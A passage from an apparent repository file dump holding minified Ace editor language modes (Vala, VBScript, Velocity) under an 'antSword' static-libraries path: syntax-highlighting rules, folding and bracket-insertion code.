readonly\"}],\"#strings\":[{token:\"punctuation.definition.string.begin.vala\",regex:'@\"',push:[{token:\"punctuation.definition.string.end.vala\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.vala\",regex:\"\\\\\\\\.|%[\\\\w\\\\.\\\\-]+|\\\\$(?:\\\\w+|\\\\([\\\\w\\\\s\\\\+\\\\-\\\\*\\\\/]+\\\\))\"},{defaultToken:\"string.quoted.interpolated.vala\"}]},{token:\"punctuation.definition.string.begin.vala\",regex:'\"',push:[{token:\"punctuation.definition.string.end.vala\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.vala\",regex:\"\\\\\\\\.\"},{token:\"constant.character.escape.vala\",regex:\"%[\\\\w\\\\.\\\\-]+\"},{defaultToken:\"string.quoted.double.vala\"}]},{token:\"punctuation.definition.string.begin.vala\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.vala\",regex:\"'\",next:\"pop\"},{token:\"constant.character.escape.vala\",regex:\"\\\\\\\\.\"},{defaultToken:\"string.quoted.single.vala\"}]},{token:\"punctuation.definition.string.begin.vala\",regex:'\"\"\"',push:[{token:\"punctuation.definition.string.end.vala\",regex:'\"\"\"',next:\"pop\"},{token:\"constant.character.escape.vala\",regex:\"%[\\\\w\\\\.\\\\-]+\"},{defaultToken:\"string.quoted.triple.vala\"}]}],\"#throws\":[{token:\"storage.modifier.vala\",regex:\"throws\",push:[{token:\"meta.throwables.vala\",regex:\"(?={|;)\",next:\"pop\"},{include:\"#object-types\"},{defaultToken:\"meta.throwables.vala\"}]}],\"#values\":[{include:\"#strings\"},{include:\"#object-types\"},{include:\"#constants-and-special-vars\"}]},this.normalizeRules()};s.metaData={comment:\"Based heavily on the Java bundle's language syntax. TODO:\\n* Closures\\n* Delegates\\n* Properties: Better support for properties.\\n* Annotations\\n* Error domains\\n* Named arguments\\n* Array slicing, negative indexes, multidimensional\\n* construct blocks\\n* lock blocks?\\n* regex literals\\n* DocBlock syntax highlighting. (Currently importing javadoc)\\n* Folding rule for comments.\\n\",fileTypes:[\"vala\"],foldingStartMarker:\"(\\\\{\\\\s*(//.*)?$|^\\\\s*// \\\\{\\\\{\\\\{)\",foldingStopMarker:\"^\\\\s*(\\\\}|// \\\\}\\\\}\\\\}$)\",name:\"Vala\",scopeName:\"source.vala\"},r.inherits(s,i),t.ValaHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/vala\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/tokenizer\",\"ace/mode/vala_highlight_rules\",\"ace/mode/folding/cstyle\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\",\"ace/mode/matching_brace_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"../tokenizer\").Tokenizer,o=e(\"./vala_highlight_rules\").ValaHighlightRules,u=e(\"./folding/cstyle\").FoldMode,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=e(\"./matching_brace_outdent\").MatchingBraceOutdent,c=function(){this.HighlightRules=o,this.$outdent=new l,this.$behaviour=new a,this.foldingRules=new f};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/vala\"}.call(c.prototype),t.Mode=c})"
  },
  {
    "path": "antSword/static/libs/ace/mode-vbscript.js",
    "content": "ace.define(\"ace/mode/vbscript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:[\"meta.ending-space\"],regex:\"$\"},{token:[null],regex:\"^(?=\\\\t)\",next:\"state_3\"},{token:[null],regex:\"^(?= )\",next:\"state_4\"},{token:[\"text\",\"storage.type.function.asp\",\"text\",\"entity.name.function.asp\",\"text\",\"punctuation.definition.parameters.asp\",\"variable.parameter.function.asp\",\"punctuation.definition.parameters.asp\"],regex:\"^(\\\\s*)(Function|Sub)(\\\\s*)([a-zA-Z_]\\\\w*)(\\\\s*)(\\\\()([^)]*)(\\\\))\"},{token:\"punctuation.definition.comment.asp\",regex:\"'|REM\",next:\"comment\",caseInsensitive:!0},{token:[\"keyword.control.asp\"],regex:\"\\\\b(?:If|Then|Else|ElseIf|Else If|End If|While|Wend|For|To|Each|Case|Select|End Select|Return|Continue|Do|Until|Loop|Next|With|Exit Do|Exit For|Exit Function|Exit Property|Exit Sub|IIf)\\\\b\",caseInsensitive:!0},{token:\"keyword.operator.asp\",regex:\"\\\\b(?:Mod|And|Not|Or|Xor|as)\\\\b\",caseInsensitive:!0},{token:\"storage.type.asp\",regex:\"Dim|Call|Class|Const|Dim|Redim|Function|Sub|Private Sub|Public Sub|End sub|End Function|Set|Let|Get|New|Randomize|Option Explicit|On Error Resume Next|On Error GoTo\",caseInsensitive:!0},{token:\"storage.modifier.asp\",regex:\"\\\\b(?:Private|Public|Default)\\\\b\",caseInsensitive:!0},{token:\"constant.language.asp\",regex:\"\\\\b(?:Empty|False|Nothing|Null|True)\\\\b\",caseInsensitive:!0},{token:\"punctuation.definition.string.begin.asp\",regex:'\"',next:\"string\"},{token:[\"punctuation.definition.variable.asp\"],regex:\"(\\\\$)[a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff]*?\\\\b\\\\s*\"},{token:\"support.class.asp\",regex:\"\\\\b(?:Application|ObjectContext|Request|Response|Server|Session)\\\\b\",caseInsensitive:!0},{token:\"support.class.collection.asp\",regex:\"\\\\b(?:Contents|StaticObjects|ClientCertificate|Cookies|Form|QueryString|ServerVariables)\\\\b\",caseInsensitive:!0},{token:\"support.constant.asp\",regex:\"\\\\b(?:TotalBytes|Buffer|CacheControl|Charset|ContentType|Expires|ExpiresAbsolute|IsClientConnected|PICS|Status|ScriptTimeout|CodePage|LCID|SessionID|Timeout)\\\\b\",caseInsensitive:!0},{token:\"support.function.asp\",regex:\"\\\\b(?:Lock|Unlock|SetAbort|SetComplete|BinaryRead|AddHeader|AppendToLog|BinaryWrite|Clear|End|Flush|Redirect|Write|CreateObject|HTMLEncode|MapPath|URLEncode|Abandon|Convert|Regex)\\\\b\",caseInsensitive:!0},{token:\"support.function.event.asp\",regex:\"\\\\b(?:Application_OnEnd|Application_OnStart|OnTransactionAbort|OnTransactionCommit|Session_OnEnd|Session_OnStart)\\\\b\",caseInsensitive:!0},{token:\"support.function.vb.asp\",regex:\"\\\\b(?:Array|Add|Asc|Atn|CBool|CByte|CCur|CDate|CDbl|Chr|CInt|CLng|Conversions|Cos|CreateObject|CSng|CStr|Date|DateAdd|DateDiff|DatePart|DateSerial|DateValue|Day|Derived|Math|Escape|Eval|Exists|Exp|Filter|FormatCurrency|FormatDateTime|FormatNumber|FormatPercent|GetLocale|GetObject|GetRef|Hex|Hour|InputBox|InStr|InStrRev|Int|Fix|IsArray|IsDate|IsEmpty|IsNull|IsNumeric|IsObject|Item|Items|Join|Keys|LBound|LCase|Left|Len|LoadPicture|Log|LTrim|RTrim|Trim|Maths|Mid|Minute|Month|MonthName|MsgBox|Now|Oct|Remove|RemoveAll|Replace|RGB|Right|Rnd|Round|ScriptEngine|ScriptEngineBuildVersion|ScriptEngineMajorVersion|ScriptEngineMinorVersion|Second|SetLocale|Sgn|Sin|Space|Split|Sqr|StrComp|String|StrReverse|Tan|Time|Timer|TimeSerial|TimeValue|TypeName|UBound|UCase|Unescape|VarType|Weekday|WeekdayName|Year)\\\\b\",caseInsensitive:!0},{token:[\"constant.numeric.asp\"],regex:\"-?\\\\b(?:(?:0(?:x|X)[0-9a-fA-F]*)|(?:(?:[0-9]+\\\\.?[0-9]*)|(?:\\\\.[0-9]+))(?:(?:e|E)(?:\\\\+|-)?[0-9]+)?)(?:L|l|UL|ul|u|U|F|f)?\\\\b\"},{token:\"support.type.vb.asp\",regex:\"\\\\b(?:vbtrue|vbfalse|vbcr|vbcrlf|vbformfeed|vblf|vbnewline|vbnullchar|vbnullstring|int32|vbtab|vbverticaltab|vbbinarycompare|vbtextcomparevbsunday|vbmonday|vbtuesday|vbwednesday|vbthursday|vbfriday|vbsaturday|vbusesystemdayofweek|vbfirstjan1|vbfirstfourdays|vbfirstfullweek|vbgeneraldate|vblongdate|vbshortdate|vblongtime|vbshorttime|vbobjecterror|vbEmpty|vbNull|vbInteger|vbLong|vbSingle|vbDouble|vbCurrency|vbDate|vbString|vbObject|vbError|vbBoolean|vbVariant|vbDataObject|vbDecimal|vbByte|vbArray)\\\\b\",caseInsensitive:!0},{token:[\"entity.name.function.asp\"],regex:\"(?:(\\\\b[a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff]*?\\\\b)(?=\\\\(\\\\)?))\"},{token:[\"keyword.operator.asp\"],regex:\"\\\\-|\\\\+|\\\\*\\\\/|\\\\>|\\\\<|\\\\=|\\\\&\"}],state_3:[{token:[\"meta.odd-tab.tabs\",\"meta.even-tab.tabs\"],regex:\"(\\\\t)(\\\\t)?\"},{token:\"meta.leading-space\",regex:\"(?=[^\\\\t])\",next:\"start\"},{token:\"meta.leading-space\",regex:\".\",next:\"state_3\"}],state_4:[{token:[\"meta.odd-tab.spaces\",\"meta.even-tab.spaces\"],regex:\"(  )(  )?\"},{token:\"meta.leading-space\",regex:\"(?=[^ ])\",next:\"start\"},{defaultToken:\"meta.leading-space\"}],comment:[{token:\"comment.line.apostrophe.asp\",regex:\"$|(?=(?:%>))\",next:\"start\"},{defaultToken:\"comment.line.apostrophe.asp\"}],string:[{token:\"constant.character.escape.apostrophe.asp\",regex:'\"\"'},{token:\"string.quoted.double.asp\",regex:'\"',next:\"start\"},{defaultToken:\"string.quoted.double.asp\"}]}};r.inherits(s,i),t.VBScriptHighlightRules=s}),ace.define(\"ace/mode/vbscript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/vbscript_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./vbscript_highlight_rules\").VBScriptHighlightRules,o=function(){this.HighlightRules=s};r.inherits(o,i),function(){this.lineCommentStart=[\"'\",\"REM\"],this.$id=\"ace/mode/vbscript\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "antSword/static/libs/ace/mode-velocity.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?